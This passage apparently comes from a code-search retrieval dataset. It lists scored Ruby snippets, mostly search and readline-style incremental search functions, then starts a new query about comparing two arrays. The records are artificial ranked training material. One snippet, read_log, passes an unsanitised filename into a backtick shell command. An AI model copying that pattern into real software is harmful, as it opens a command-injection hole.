"text": "def analyse_result(search_result, phrase)\n search_table = search_result.parser.xpath(\"//span[@class='st']\").text.without_garbage.down_case.split\n phrase_table = phrase.split\n @result = (search_table & phrase_table).count > (Ca::Config.instance.google_phrase_lenght - 2)\n end",
"title": ""
},
{
"docid": "bd1a6e04073e9621428b4757511da448",
"score": "0.41492152",
"text": "def find(what = $ruvim.input(@prompt), offset=0, direction=:bottom, continue=:top)\n\t\t\tposition = find_a($ruvim.buffer.index + offset, direction)\n\n\t\t\tif position.nil? then\n\t\t\t\t$ruvim.message \"Search Hit #{direction}. Continuing at #{continue}\"\n\t\t\t\tfrom = (direction == :bottom) ? 0 : $ruvim.editor.buffer.eof\n\t\t\t\tposition = find_a(from, direction)\n\n\t\t\t\treturn not_found if position.nil?\n\t\t\tend\n\t\t\t\n\t\t\t$ruvim.editor.goto(position)\n\t\tend",
"title": ""
},
{
"docid": "91ee6c783a56fca65a08f47285e84e0b",
"score": "0.41437107",
"text": "def fulltext_search(search_string)\n\n # Strip out !, (), &, and |, because these are search vector control characters\n # Remove extra spaces\n search_string = search_string.to_s.delete(\"()!&|\").squish\n\n tsquery = sanitize_sql_array([\n %{replace(plainto_tsquery('%s')::text,' & ',' | ')::tsquery}, search_string\n ])\n\n relation = self.select(%{\n #{self.table_name}.*,\n ts_rank(#{self.table_name}.search_vector, #{tsquery}) AS search_ranking\n })\n\n return relation.where(\"#{tsquery} @@ #{self.table_name}.search_vector\")\n\n end",
"title": ""
},
{
"docid": "36e036afa776f75ddd344d666db4ecd7",
"score": "0.41402346",
"text": "def render\n source_line = @location.source_line\n highlight_line = ' ' * source_line.length\n\n @highlights.each do |hilight|\n range = hilight.column_range\n highlight_line[range] = '~' * hilight.size\n end\n\n range = @location.column_range\n highlight_line[range] = '^' * @location.size\n\n [\n \"#{@location.to_s}: #{@level}: #{@message}\",\n source_line,\n highlight_line,\n ]\n end",
"title": ""
},
{
"docid": "f893a05db08ee71b06abbcb8508e1f22",
"score": "0.41314822",
"text": "def render\n if @location.line == @location.last_line || @location.is?(\"\\n\")\n [\"#{@location}: #{@level}: #{message}\"] + render_line(@location)\n else\n # multi-line diagnostic\n first_line = first_line_only(@location)\n last_line = last_line_only(@location)\n num_lines = (@location.last_line - @location.line) + 1\n buffer = @location.source_buffer\n\n last_lineno, last_column = buffer.decompose_position(@location.end_pos)\n [\"#{@location}-#{last_lineno}:#{last_column}: #{@level}: #{message}\"] +\n render_line(first_line, num_lines > 2, false) +\n render_line(last_line, false, true)\n end\n end",
"title": ""
},
{
"docid": "0027c3fdc24fbb0b00267dd1147ca537",
"score": "0.41298753",
"text": "def search!(query, sentence_limit = 80)\n orig_text = @text\n @text = search(query, sentence_limit)\n orig_text\n end",
"title": ""
},
{
"docid": "ca52b1e5cbce50ba9b85c7bfbd2613d8",
"score": "0.4124657",
"text": "def search_title_builder\n\t\tif search_params_present?\n\t\t\ttitle = \"Searching Flights\"\n\t\t\ttitle += \" Departing #{ @airport_options[params[:origin].to_i - 1][0] }\" if params[:origin].present?\n\t\t\tif params[:destination].present?\n\t\t\t\tif params[:origin].present?\n\t\t\t\t\ttitle += \" for \"\n\t\t\t\telse\n\t\t\t\t\ttitle += \" to \"\n\t\t\t\tend\n\t\t\t\ttitle += \"#{ @airport_options[params[:destination].to_i - 1][0] }\"\n\t\t\tend\n\t\t\ttitle += \" on #{ params[:departure] }\" if params[:departure].present?\n\t\t\ttitle += \" for #{ params[:passengers] }\" if params[:passengers].present?\n\t\t\treturn title\n\t\telse\n\t\t\ttitle = \"Search Flights\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ca4874d9814b2d7699ceb899596dc1f8",
"score": "0.41176525",
"text": "def location_search # :nologin: :norobots:\n query = create_query(:Location, :pattern_search, :pattern => Location.user_name(@user, params[:pattern].to_s))\n show_selected_locations(query, :link_all_sorts => true)\n end",
"title": ""
},
{
"docid": "f0d06d04ae19364ca452b53b4f3ea934",
"score": "0.41175264",
"text": "def _rl_isearch_dispatch(cxt, c)\r\n f = nil\r\n\r\n if c.is_a?(Integer) && c < 0\r\n cxt.sflags |= SF_FAILED\r\n cxt.history_pos = cxt.last_found_line\r\n return -1\r\n end\r\n\r\n # Translate the keys we do something with to opcodes.\r\n if (c && @_rl_keymap[c])\r\n f = @_rl_keymap[c]\r\n if (f == :rl_reverse_search_history)\r\n cxt.lastc = (cxt.sflags & SF_REVERSE)!=0 ? -1 : -2\r\n elsif (f == :rl_forward_search_history)\r\n cxt.lastc = (cxt.sflags & SF_REVERSE)!=0 ? -2 : -1\r\n elsif (f == :rl_rubout)\r\n cxt.lastc = -3\r\n elsif (c == \"\\C-G\")\r\n cxt.lastc = -4\r\n elsif (c == \"\\C-W\") # XXX\r\n cxt.lastc = -5\r\n elsif (c == \"\\C-Y\") # XXX\r\n cxt.lastc = -6\r\n end\r\n end\r\n\r\n # The characters in isearch_terminators (set from the user-settable\r\n # variable isearch-terminators) are used to terminate the search but\r\n # not subsequently execute the character as a command. The default\r\n # value is \"\\033\\012\" (ESC and C-J).\r\n if (cxt.lastc.class == String && cxt.search_terminators.include?(cxt.lastc))\r\n # ESC still terminates the search, but if there is pending\r\n #input or if input arrives within 0.1 seconds (on systems\r\n #with select(2)) it is used as a prefix character\r\n #with rl_execute_next. WATCH OUT FOR THIS! This is intended\r\n #to allow the arrow keys to be used like ^F and ^B are used\r\n #to terminate the search and execute the movement command.\r\n #XXX - since _rl_input_available depends on the application-\r\n #settable keyboard timeout value, this could alternatively\r\n #use _rl_input_queued(100000)\r\n if (cxt.lastc == ESC && _rl_input_available())\r\n rl_execute_next(ESC)\r\n end\r\n return (0)\r\n end\r\n\r\n if !@rl_byte_oriented\r\n if (cxt.lastc.class == String && (cxt.mb.length == 1) && endsrch_char(cxt.lastc))\r\n # This sets rl_pending_input to c; it will be picked up the next\r\n # time rl_read_key is called.\r\n rl_execute_next(cxt.lastc)\r\n return (0)\r\n end\r\n elsif (cxt.lastc.class == String && endsrch_char(cxt.lastc))\r\n # This sets rl_pending_input to LASTC; it will be picked up the next\r\n # time rl_read_key is called.\r\n rl_execute_next(cxt.lastc)\r\n return (0)\r\n end\r\n\r\n # Now dispatch on the character. `Opcodes' affect the search string or\r\n # state. Other characters are added to the string.\r\n case (cxt.lastc)\r\n\r\n # search again\r\n when -1\r\n if (cxt.search_string_index == 0)\r\n if (@last_isearch_string)\r\n cxt.search_string_size = 64 + @last_isearch_string_len\r\n cxt.search_string = @last_isearch_string.dup\r\n cxt.search_string_index = @last_isearch_string_len\r\n rl_display_search(cxt.search_string, (cxt.sflags & SF_REVERSE)!=0, -1)\r\n else\r\n return (1)\r\n end\r\n elsif (cxt.sflags & SF_REVERSE)!=0\r\n cxt.sline_index-=1\r\n elsif (cxt.sline_index != cxt.sline_len)\r\n cxt.sline_index+=1\r\n else\r\n rl_ding()\r\n end\r\n\r\n # switch directions\r\n when -2\r\n cxt.direction = -cxt.direction\r\n if (cxt.direction < 0)\r\n cxt.sflags |= SF_REVERSE\r\n else\r\n cxt.sflags &= ~SF_REVERSE\r\n end\r\n # delete character from search string.\r\n when -3 # C-H, DEL\r\n # This is tricky. To do this right, we need to keep a\r\n # stack of search positions for the current search, with\r\n # sentinels marking the beginning and end. But this will\r\n # do until we have a real isearch-undo.\r\n if (cxt.search_string_index == 0)\r\n rl_ding()\r\n else\r\n cxt.search_string_index -= 1\r\n cxt.search_string.chop!\r\n end\r\n when -4 # C-G, abort\r\n rl_replace_line(cxt.lines[cxt.save_line], false)\r\n @rl_point = cxt.save_point\r\n @rl_mark = cxt.save_mark\r\n rl_restore_prompt()\r\n rl_clear_message()\r\n return -1\r\n when -5 # C-W\r\n # skip over portion of line we already matched and yank word\r\n wstart = @rl_point + cxt.search_string_index\r\n if (wstart >= @rl_end)\r\n rl_ding()\r\n else\r\n # if not in a word, move to one.\r\n cval = _rl_char_value(@rl_line_buffer, wstart)\r\n if (!_rl_walphabetic(cval))\r\n rl_ding()\r\n else\r\n if !@rl_byte_oriented\r\n n = _rl_find_next_mbchar(@rl_line_buffer, wstart, 1, MB_FIND_NONZERO)\r\n else\r\n n = wstart+1\r\n end\r\n while (n < @rl_end)\r\n cval = _rl_char_value(@rl_line_buffer, n)\r\n break if !_rl_walphabetic(cval)\r\n if !@rl_byte_oriented\r\n n = _rl_find_next_mbchar(@rl_line_buffer, n, 1, MB_FIND_NONZERO)\r\n else\r\n n = n+1\r\n end\r\n end\r\n wlen = n - wstart + 1\r\n if (cxt.search_string_index + wlen + 1 >= cxt.search_string_size)\r\n cxt.search_string_size += wlen + 1\r\n end\r\n cxt.search_string[cxt.search_string_index..-1] = @rl_line_buffer[wstart,wlen]\r\n cxt.search_string_index += wlen\r\n end\r\n end\r\n\r\n when -6 # C-Y\r\n # skip over portion of line we already matched and yank rest\r\n wstart = @rl_point + cxt.search_string_index\r\n if (wstart >= @rl_end)\r\n rl_ding()\r\n else\r\n n = @rl_end - wstart + 1\r\n if (cxt.search_string_index + n + 1 >= cxt.search_string_size)\r\n cxt.search_string_size += n + 1\r\n end\r\n cxt.search_string[cxt.search_string_index..-1] = @rl_line_buffer[wstart,n]\r\n end\r\n\r\n # Add character to search string and continue search.\r\n else\r\n if (cxt.search_string_index + 2 >= cxt.search_string_size)\r\n cxt.search_string_size += 128\r\n end\r\n if !@rl_byte_oriented\r\n for j in 0 ... cxt.mb.length\r\n cxt.search_string << cxt.mb[j,1]\r\n cxt.search_string_index += 1\r\n end\r\n else\r\n cxt.search_string << c\r\n cxt.search_string_index += 1\r\n end\r\n end\r\n\r\n while (cxt.sflags &= ~(SF_FOUND|SF_FAILED))!=0\r\n limit = cxt.sline_len - cxt.search_string_index + 1\r\n # Search the current line.\r\n while ((cxt.sflags & SF_REVERSE)!=0 ? (cxt.sline_index >= 0) : (cxt.sline_index < limit))\r\n\r\n if (cxt.search_string[0,cxt.search_string_index] == cxt.sline[cxt.sline_index,cxt.search_string_index])\r\n cxt.sflags |= SF_FOUND\r\n break\r\n else\r\n cxt.sline_index += cxt.direction\r\n end\r\n end\r\n break if (cxt.sflags & SF_FOUND)!=0\r\n\r\n # Move to the next line, but skip new copies of the line\r\n # we just found and lines shorter than the string we're\r\n # searching for.\r\n begin\r\n # Move to the next line.\r\n cxt.history_pos += cxt.direction\r\n\r\n # At limit for direction?\r\n if ((cxt.sflags & SF_REVERSE)!=0 ? (cxt.history_pos < 0) : (cxt.history_pos == cxt.hlen))\r\n cxt.sflags |= SF_FAILED\r\n break\r\n end\r\n\r\n # We will need these later.\r\n cxt.sline = cxt.lines[cxt.history_pos]\r\n cxt.sline_len = cxt.sline.length\r\n end while ((cxt.prev_line_found && cxt.prev_line_found == cxt.lines[cxt.history_pos]) ||\r\n (cxt.search_string_index > cxt.sline_len))\r\n\r\n break if (cxt.sflags & SF_FAILED)!=0\r\n\r\n # Now set up the line for searching...\r\n cxt.sline_index = (cxt.sflags & SF_REVERSE)!=0 ? cxt.sline_len - cxt.search_string_index : 0\r\n end\r\n\r\n if (cxt.sflags & SF_FAILED)!=0\r\n # We cannot find the search string. Ding the bell.\r\n rl_ding()\r\n cxt.history_pos = cxt.last_found_line\r\n return 1\r\n end\r\n\r\n # We have found the search string. Just display it. But don't\r\n # actually move there in the history list until the user accepts\r\n # the location.\r\n if (cxt.sflags & SF_FOUND)!=0\r\n cxt.prev_line_found = cxt.lines[cxt.history_pos]\r\n rl_replace_line(cxt.lines[cxt.history_pos], false)\r\n @rl_point = cxt.sline_index\r\n cxt.last_found_line = cxt.history_pos\r\n rl_display_search(cxt.search_string, (cxt.sflags & SF_REVERSE)!=0, (cxt.history_pos == cxt.save_line) ? -1 : cxt.history_pos)\r\n end\r\n 1\r\n end",
"title": ""
},
{
"docid": "d870abca54847c9542ed449bc34105b8",
"score": "0.4117495",
"text": "def search(search, distance: nil, negate: false, case_type: nil)\n prefs = Doing.setting('search', {})\n matching = prefs.fetch('matching', 'pattern').normalize_matching\n distance ||= prefs.fetch('distance', 3).to_i\n case_type ||= prefs.fetch('case', 'smart').normalize_case\n\n if search.rx? || matching == :fuzzy\n matches = @title + @note.to_s =~ search.to_rx(distance: distance, case_type: case_type)\n else\n query = search.strip.to_phrase_query\n\n if query[:must].nil? && query[:must_not].nil?\n query[:must] = query[:should]\n query[:should] = []\n end\n matches = no_searches?(query[:must_not], case_type: case_type)\n matches &&= all_searches?(query[:must], case_type: case_type)\n matches &&= any_searches?(query[:should], case_type: case_type)\n end\n # if search =~ /(?<=\\A| )[+-]\\S/\n # else\n # text = @title + @note.to_s\n # matches = text =~ search.to_rx(distance: distance, case_type: case_type)\n # end\n\n # if search.rx? || !fuzzy\n # matches = text =~ search.to_rx(distance: distance, case_type: case_type)\n # else\n # distance = 0.25 if distance > 1\n # score = if (case_type == :smart && search !~ /[A-Z]/) || case_type == :ignore\n # text.downcase.pair_distance_similar(search.downcase)\n # else\n # score = text.pair_distance_similar(search)\n # end\n\n # if score >= distance\n # matches = true\n # Doing.logger.debug('Fuzzy Match:', %(#{@title}, \"#{search}\" #{score}))\n # end\n # end\n\n negate ? !matches : matches\n end",
"title": ""
},
{
"docid": "fad9abd9e5289009e60be08a664ab66e",
"score": "0.41141525",
"text": "def initialize\n\t\t@data_controller = DataController.new\n\t\t@current_search = {phrase: \"\", thumbnail: nil} \t# current searchstring\n\t\t@searched = []\n\t\t@is_working = false\n\t\t@is_back_search = false\n\tend",
"title": ""
},
{
"docid": "1cf673bc55064eb7ec7422a40551071f",
"score": "0.41128528",
"text": "def initialize(search_string)\n @search_string = search_string\n @phrase_parts = @search_string.scan(EXACT_MATCHES_REGEX).flatten!\n @phrase_parts.map! { |part| part.strip.squeeze(' ') } if @phrase_parts.present?\n end",
"title": ""
},
{
"docid": "6e150c834b9faf7ee83ef0430cb46b98",
"score": "0.41115698",
"text": "def read_log(search_word, selection_index, filename)\n tail = `tail -n 24 logs/#{filename}`\n return 'EMPTY' if tail.empty?\n return if tail.length < 13\n line = tail.split(\"\\n\").grep(/#{search_word}/)[0]\n line.to_s.split('.: ')[1]\nend",
"title": ""
},
{
"docid": "e79f1e980cda97796760bb362a3620d8",
"score": "0.41105467",
"text": "def track_string( info_index, result_index )\n\t\t\tresult=\" \" # This space is necessary for proper identification of whole page names\n\t\t\tn = self\n\t\t\trepeat_counter = 1\n\t\t\twhile n != nil\n\n\t\t\t\tnext_value = nil\n\t\t\t\tdisplay_value = n.info[ result_index ]\n\t\t\t\tif ( n.next[ info_index ] != nil )\n\t\t\t\t\tnext_value = n.next[ info_index ].info[ result_index ]\n\t\t\t\tend\n\n\t\t\t\tif ( display_value != next_value || n.next[ info_index ] == nil )\n\t\t\t\t\tresult=\"#{result}#{display_value}\"\n\t\t\t\t\tif repeat_counter > 1\n\t\t\t\t\t\tresult = \"#{result} (#{repeat_counter})\"\n\t\t\t\t\tend\n\t\t\t\t\tif ( n.next[ info_index ] != nil )\n\t\t\t\t\t\tresult = \"#{result} -> \"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif ( display_value == next_value)\n\t\t\t\t\trepeat_counter = repeat_counter + 1\n\t\t\t\telse \n\t\t\t\t\trepeat_counter = 1\n\t\t\t\tend\n\n\n\t\t\t\tn = n.next[ info_index ]\n\t\t\t\tprevious_display_value = display_value\n\t\t\tend\n\t\t\tresult = \"#{result} \" # this space is necessary for proper identification of whole names\n\t\t\t\n\t\t\treturn result\n\t\tend",
"title": ""
},
{
"docid": "a6073de873d8f9bab72623a671dc77f8",
"score": "0.41077027",
"text": "def st_searchlines \n @st_searchlines = SiteText.find(2)\n end",
"title": ""
},
{
"docid": "d9ae9bfe8d4ce25235513d08d7ea1d2c",
"score": "0.41074935",
"text": "def set_SearchString(value)\n set_input(\"SearchString\", value)\n end",
"title": ""
},
{
"docid": "d9ae9bfe8d4ce25235513d08d7ea1d2c",
"score": "0.4106588",
"text": "def set_SearchString(value)\n set_input(\"SearchString\", value)\n end",
"title": ""
},
{
"docid": "70f8a5fa1a17601c8b8cc75da684b4e5",
"score": "0.41060263",
"text": "def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end",
"title": ""
},
{
"docid": "43cc20832b05cc03ae745c09c57183cf",
"score": "0.41052648",
"text": "def show_history\n pattern = Regexp.new(@args[0] || /./)\n\n @history.each_with_index do |item, index|\n puts \"#{index+1}: #{item}\" if item =~ pattern\n end\n end",
"title": ""
},
{
"docid": "a568f79cd33dc040346fe6263ceb8893",
"score": "0.41043767",
"text": "def explore\n @commands.each do |command|\n break unless out_of_bounds?\n command == 'M' ? move : rotate(command)\n end\n new_coordenates = @coordinates.map(&:to_s).join(' ')\n final_facing = @rover_facing.to_s\n out_of_bounds? ? 'new position:' + new_coordenates + ' ' + final_facing : 'Signal lost: Rover out of bounds'\n end",
"title": ""
},
{
"docid": "873cc157192d550a46df88fd06de0486",
"score": "0.41007778",
"text": "def interactive_search\n what = input('Series (s), track (t), or quit (q)', nil)\n case what[0]\n when 't'\n interactive_search_track\n when 's'\n interactive_search_series\n else\n exit\n end\n end",
"title": ""
},
{
"docid": "3c635f12de73e85eec028ed3fc739c42",
"score": "0.40730953",
"text": "def filter_files_by_pattern\n @title = 'Search Results: (Press Esc to cancel)'\n @mode = 'SEARCH'\n if @toggles[:instant_search]\n search_as_you_type\n else\n @patt = readline '/'\n end\nend",
"title": ""
},
{
"docid": "0cb3a2cd7c76f3baa0c8cc1adfdb2a18",
"score": "0.40666994",
"text": "def _rl_nsearch_dispatch(cxt, c)\r\n case (c)\r\n when \"\\C-W\"\r\n rl_unix_word_rubout(1, c)\r\n when \"\\C-U\"\r\n rl_unix_line_discard(1, c)\r\n when RETURN,NEWLINE\r\n return 0\r\n when \"\\C-H\",RUBOUT\r\n if (@rl_point == 0)\r\n _rl_nsearch_abort(cxt)\r\n return -1\r\n end\r\n _rl_rubout_char(1, c)\r\n when \"\\C-C\",\"\\C-G\"\r\n rl_ding()\r\n _rl_nsearch_abort(cxt)\r\n return -1\r\n else\r\n if !@rl_byte_oriented\r\n rl_insert_text(cxt.mb)\r\n else\r\n _rl_insert_char(1, c)\r\n end\r\n end\r\n\r\n send(@rl_redisplay_function)\r\n 1\r\n end",
"title": ""
},
{
"docid": "8f2bbfea31172c9c17a6d87e7d231d81",
"score": "0.40610993",
"text": "def adv_search_set_text\n if @edit[@expkey].history.idx.zero? # Are we pointing at the first exp\n @edit[:adv_search_applied][:text] = if @edit[:new_search_name]\n _(\" - Filtered by \\\"%{text}\\\"\") % {:text => @edit[:new_search_name]}\n else\n _(\" - Filtered by \\\"%{text}\\\" report\") %\n {:text => @edit[:adv_search_report]}\n end\n else\n @edit[:custom_search] = true\n @edit[:adv_search_applied][:text] = _(\" - Filtered by custom search\")\n end\n end",
"title": ""
},
{
"docid": "9d346637ddb0d1cc94071d1db1a46ea3",
"score": "0.40542513",
"text": "def highlight_line(string)\n\t$targets.each do |t|\n\t\n\t\t# match case insensitive if asked nicely\n\t\tif $options.match(/i/)\n\t\t\tre = Regexp.compile(t, true)\n\t\telse\n\t\t\tre = Regexp.compile(t, false)\n\t\tend\n\n\t\t# surround each match with terminal color control chars\n\t\tstring.gsub!(re) do |s|\n\t\t\t\"%s%s%s\" % [get_color(t), $&, $Normal]\n\t\tend\n\tend\n\n\tstring\nend",
"title": ""
},
{
"docid": "38933c6589da95f43f1258bc1b90d9fb",
"score": "0.4047214",
"text": "def print_gps_conditions\n puts <<~CONDITIONS\n \\nThe weather conditions for #{self.lat.colorize(:green)}, #{self.long.colorize(:green)} (#{self.city_name.colorize(:green)}): \n \n #{self.temperature.colorize(:light_blue)}°F \n #{self.humidity.colorize(:light_blue)}% Humidity\n #{self.current_weather_description.colorize(:light_blue)}\n\n Pressure: #{self.pressure.colorize(:light_blue)} in of Hg\n Wind Speed: #{self.wind_speed.colorize(:light_blue)} MPH \n Wind Direction: #{self.wind_direction_indicator_string.colorize(:light_blue)} (#{self.wind_direction_indicator.colorize(:light_blue)})\n\n This data is based on the weather station reading time of:\n #{self.reading_date_and_time.colorize(:green)}\n\n **Weather Data provided by OpenWeatherMap.org**\n CONDITIONS\n end",
"title": ""
},
{
"docid": "2fdb487063860de831a33038b62811ff",
"score": "0.40463784",
"text": "def debug_print(str)\n return unless Rails.env.development? && @debug\n str = str.inspect unless str.instance_of? String\n @debugscr.move(@cur_debug_line, 0)\n @debugscr.clrtoeol\n @debugscr.mvaddstr(@cur_debug_line, 0, str)\n @cur_debug_line = (@cur_debug_line + 1) % @lines\n @debugscr.refresh\n end",
"title": ""
},
{
"docid": "de0740f1c15c80951b00bad10877a67c",
"score": "0.40443835",
"text": "def search_highlights\n @search_highlights ||= begin\n highlights = HIGHLIGHT_SOLR_FIELDS.collect {|field| get_highlights(field) }.flatten.slice(0, MAX_HIGHLIGHT_SNIPPETS)\n if highlights.present?\n \"…\".html_safe + safe_join(highlights, \" …\") + \"…\".html_safe\n else\n \"\"\n end\n end\n end",
"title": ""
},
{
"docid": "9f7e26c81b17698bbd5e6e558f25f8de",
"score": "0.40417033",
"text": "def grab_line(search, row, col, length, orientation)\n line = \"\"\n\n case orientation\n when :down\n # check boundary case\n if search.has_key?([row + length, col])\n (0..length).each do |i|\n line += search[[row + i, col]]\n end\n end\n\n when :down_right\n # check boundary case\n if search.has_key?([row + length, col + length])\n (0..length).each do |i|\n line += search[[row + i, col + i]]\n end\n end\n\n when :right\n # check boundary case\n if search.has_key?([row, col + length])\n (0..length).each do |i|\n line += search[[row, col + i]]\n end\n end\n\n when :up_right\n # check boundary case\n if search.has_key?([row - length, col + length])\n (0..length).each do |i|\n line += search[[row - i, col + i]]\n end\n end\n\n when :up\n # check boundary case\n if search.has_key?([row - length, col])\n (0..length).each do |i|\n line += search[[row - i, col]]\n end\n end\n\n when :up_left\n # check boundary case\n if search.has_key?([row - length, col - length])\n (0..length).each do |i|\n line += search[[row - i, col - i]]\n end\n end\n\n when :left\n # check boundary case\n if search.has_key?([row, col - length])\n (0..length).each do |i|\n line += search[[row, col - i]]\n end\n end\n\n when :down_left\n # check boundary case\n if search.has_key?([row + length, col - length])\n (0..length).each do |i|\n line += search[[row + i, col - i]]\n end\n end\n end\n\n return line\nend",
"title": ""
},
{
"docid": "6a4e74a77f739b436b087283fde3121b",
"score": "0.40414494",
"text": "def describe_search_if_present\n if params[:q].present?\n return \"matching “#{h params[:q]}”\".html_safe\n end\n end",
"title": ""
},
{
"docid": "a248b1d844d0ba827d212c5782b8acc9",
"score": "0.40409297",
"text": "def at(search_string)\n self.search(search_string).first\n end",
"title": ""
},
{
"docid": "3cbf95687c155c0e6279192eb0c5c6f3",
"score": "0.4038953",
"text": "def whereise query_str\n <<-SPARQL.strip_heredoc\n WHERE {\n #{query_str}\n }\n SPARQL\n end",
"title": ""
},
{
"docid": "6f6eeef918e65cb76dde4be36c31dc2f",
"score": "0.40367907",
"text": "def getCurrentConditions(location, currLoc)\n tempInC = location.condition['temp']\n forecast = location.condition['text']\n\n puts \"It is currently #{tempInC} ˚C and #{forecast} in #{currLoc}.\"\nend",
"title": ""
},
{
"docid": "4fef87375a860c3f43ee6fe7bd3006e2",
"score": "0.40244675",
"text": "def output\n output = ''\n\n visible.each_with_index do |line, y_index|\n output << Vedeu::Geometry::Position.new((by + y_index), bx).to_s\n output << line.to_s\n end\n\n output << cursor.to_s\n\n output\n end",
"title": ""
},
{
"docid": "f4a4a086c44f190e12cc48b02b9d8f98",
"score": "0.40150374",
"text": "def search(string)\n if not @open\n raise Exception, \"The library is not open.\", caller\n elsif string.empty? || string.length < 4\n output = \"Search string must contain at least four characters.\"\n else\n results = @books.select { |k,book| \n (book.get_title().downcase.include?(string.downcase) || book.get_author().downcase.include?(string.downcase)) && book.get_due_date() == nil\n }\n\n if results.count > 0\n output = \"\"\n # make sure it only returns unique results\n results.to_a.uniq { |k,b| \n b.get_author() && b.get_title() \n }.each { |k,b| output = output + \"#{b.to_s}\\n\" }\n else\n output = \"No books found.\"\n end\n end\n output\n end",
"title": ""
},
{
"docid": "5a631fa1c6e00d77c7c3197e0ba89cb1",
"score": "0.40137768",
"text": "def search\n @search_term = params[:term]\n\n if !@search_term then\n @search_term = session[:last_search_term]\n end\n # Save this for after editing\n session[:last_view] = 'search'\n session[:last_search_term] = @search_term\n\n # Need this so that links show up\n @list_options = @@list_options\n @title = \"Search Results For '#{@search_term}'\"\n\n @search_count = Order.search(@search_term, true, nil)\n @order_pages = Paginator.new(self, @search_count, 30, params[:page])\n # to_sql is an array\n # it seems to return the limits in reverse order for mysql's liking\n the_sql = @order_pages.current.to_sql.reverse.join(',')\n @orders = Order.search(@search_term, false, the_sql)\n\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "c22116108cdceb8894f7cd36050cb288",
"score": "0.4010127",
"text": "def query_param\n return unless search_query\n \"search=#{search_query}&phrase=true\"\n end",
"title": ""
},
{
"docid": "2f26ce5e898bcedf0e35ef551baae3dc",
"score": "0.4009473",
"text": "def display\n @search = Consensu.search(params[:q])\n @consensus = @search.result\n# @search.build_condition\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @consensus }\n end\n end",
"title": ""
},
{
"docid": "4e77a596e98a5dbe811e82bb3711dde9",
"score": "0.40055877",
"text": "def directions\n puts(\"\\tThe Rules: \\n\")\n print(\"\\tPlaying this game is very simple. The game will first display a\\n\")\n print(\"\\trandomly selected word replaced with underscores and a hint to\\n\")\n print(\"\\twhat the word is. The player (you) will then be prompted to enter\\n\")\n print(\"\\teither a vowel or a consonant. The game will then print out anoter\\n\")\n print(\"\\tscreen with any spaces filled in the hidden word if you entered\\n\")\n print(\"\\ta correct guess. The player will than have the option to enter\\n\")\n print(\"\\tthe entire word or keep guessing single letters. WARNING if you\\n\")\n print(\"\\ttry to guess the hidden word and turnout to be incorrect than\\n\")\n print(\"\\tyou lose the game. The wheel is spun for every guess. When\\n\")\n print(\"\\ta player enters a vowel 250 points is deducted, but if a \\n\")\n print(\"\\tplayer enters a correct consonant they win the point for the\\n\")\n print(\"\\tround, Good Luck!\\n\\n\")\n puts (\"Press Enter to continue.\")\n end",
"title": ""
},
{
"docid": "82bc0fd99a8a0e94b51e3fd341d108cf",
"score": "0.40027565",
"text": "def show\n @mia_tabella = Search.mia_tabella(@search.tabella)\n @mio_campo = Search.mio_campo(@search.campo)\n @mio_tipo = Search.mio_tipo(@search.tipo)\n #\n @descrizione = @search.descrivi()\n end",
"title": ""
},
{
"docid": "29081a2a8224e17166c31d71ee4ead17",
"score": "0.4000784",
"text": "def write text\n\t\t@search_text = @line.text = text\n\tend",
"title": ""
},
{
"docid": "23eb5c78601188060e7887b9c3927d29",
"score": "0.39929745",
"text": "def update_position(position, scanner, search_phrase_1, search_phrase_2)\n matched = scanner.matched\n\n if matched.casecmp(search_phrase_1) == 0 || matched.casecmp(search_phrase_2) == 0\n position.store(scanner.matched.downcase, position[:word_count])\n end\n\n position[:word_count] += matched.split(' ').size\n end",
"title": ""
},
{
"docid": "826750dee11e9fd588bc93e8e1d4392d",
"score": "0.39875847",
"text": "def report\n if @language == \"\" && @translated_keyword == \"\"\n puts @keyword + \": \" + text\n else\n puts @language\n puts @keyword + \", \" + @translated_keyword + \": \" + text\n end\n end",
"title": ""
},
{
"docid": "ebdabb357199d3f28a1dccac62fbcfc3",
"score": "0.39814028",
"text": "def search\n result = []\n @selected_files.each do |filename, file|\n text = unzip(filename, file)\n break unless text # skip file if not enable option '-z'\n text.delete(\"\\n\") # delete blank lines\n t = text.clone\n text.map!.with_index do |current_str, i|\n @picking.call(current_str, i, t) if current_str.index(@search_string)\n end\n result << text.compact << \"_______end of file\".green_on_blue + \" '#{filename}'\".yellow_on_blue\n end\n result\n end",
"title": ""
},
{
"docid": "4766fdb0270b78413286f3900fe5d1e4",
"score": "0.3980571",
"text": "def display_result\n display_menu\n input = gets.chomp\n\n while input != \"quit\"\n if input =~ /\\Afind \\d/\n show_id(input)\n elsif input == \"all\"\n show_all\n elsif input == \"qualified\"\n show_qualified\n elsif input == \"menu\"\n display_menu\n else\n puts \"That is not a valid option\"\n end\n\n puts \"\\n\"\n input = gets.chomp\n end\n\n if input == \"quit\"\n return\n end\nend",
"title": ""
}
] |
ed706c44d1d4ba7c39ad8023356b85cd
|
Given 2 arrays, detect if they differ by exactly one item when compared positiontoposition. If so, return the remainder of the array.
|
[
{
"docid": "6f3ecb66027e86d481b6f91966a3f332",
"score": "0.66600883",
"text": "def has_one_diff(a, b)\n # Track whether we've already seen one diff.\n has_diff = false\n matched = []\n\n a.each_with_index do |i, idx|\n if b[idx] == i\n matched << i\n else\n # It's a diff. If we've already seen one, fail the test.\n if has_diff\n return nil\n else\n has_diff = true\n end\n end\n end\n\n # Return the matching elements of the array only if there was at\n # least one diff. (More than that would have already exited.)\n return matched if has_diff\nend",
"title": ""
}
] |
[
{
"docid": "7c49dc8b2a963feb5c2c24b564bda73b",
"score": "0.72953564",
"text": "def check_array(a, b)\n return (a[0] == b[0] || a[a.length-1] == b[b.length-1])\nend",
"title": ""
},
{
"docid": "662eeabcd6b451db78e591087bd913b5",
"score": "0.7195176",
